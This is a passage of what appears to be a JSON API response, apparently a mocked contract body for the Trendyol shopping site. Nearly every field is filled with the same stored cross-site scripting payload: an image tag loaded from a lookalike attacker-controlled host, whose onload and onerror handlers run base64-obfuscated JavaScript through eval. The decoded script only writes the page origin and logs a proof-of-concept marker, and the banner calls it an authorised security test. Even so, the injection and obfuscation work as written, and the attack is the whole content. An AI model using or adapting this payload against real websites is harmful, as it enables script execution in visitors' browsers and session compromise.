onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","name":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","text":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","description":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","descriptionLink":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","linkUrl":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","html":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","content":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","answer":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","distantSaleHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","preInformationHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" onload=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\" onerror=\"eval(atob('KGZ1bmN0aW9uKCl7CiAgaWYgKHdpbmRvdy5fX1RZODkwMjY2MikgeyByZXR1cm47IH0KICB3aW5kb3cuX19UWTg5MDI2NjIgPSAxOwogIHRyeSB7CiAgICB2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0eS1wb2Mtb3JpZ2luJyk7CiAgICBpZiAoZSkgeyBlLnRleHRDb250ZW50ID0gbG9jYXRpb24ub3JpZ2luICsgbG9jYXRpb24ucGF0aG5hbWUgKyBsb2NhdGlvbi5zZWFyY2g7IH0KICB9IGNhdGNoIChfKSB7fQogIGNvbnNvbGUubG9nKCdUUkVORFlPTC1BUFBTRUMtUE9DLVhTUy1GSVJFRCBvcmlnaW49JyArIGxvY2F0aW9uLm9yaWdpbiArICcgaHJlZj0nICsgbG9jYXRpb24uaHJlZik7Cn0pKCk='))\"><div style=\"margin-top:16px;font:13px/1.7 ui-monospace,SFMono-Regular,Menlo,monospace;color:#3a3a3a\"><div style=\"font-weight:700;color:#c0560a;letter-spacing:.4px;margin-bottom:8px\">AUTHORISED SECURITY TEST &mdash; THIS IS NOT TRENDYOL CONTENT</div><div>contract body served by <b>apigw.trendyol.o-z-z-y.com</b> (attacker-controlled origin)</div><div>rendered on <b id=\"ty-poc-origin\">(pending)</b></div><div>payload mode <b>marker</b> &middot; console marker <b>TRENDYOL-APPSEC-POC-XSS-FIRED</b></div></div></div>","dataTooltipId":"trendyol-appsec-poc","dataTooltipHtml":"<div style=\"font-family:system-ui,-apple-system,Segoe UI,Roboto,sans-serif;border:2px solid #f27a1a;border-radius:10px;padding:20px;margin:16px 0;background:#fff8f2;max-width:820px\"><img src=\"https://apigw.trendyol.o-z-z-y.com/poc-banner.svg\" alt=\"Trendyol AppSec - authorised security verification PoC\" style=\"display:block;width:100%;height:auto;border-radius:6px\" 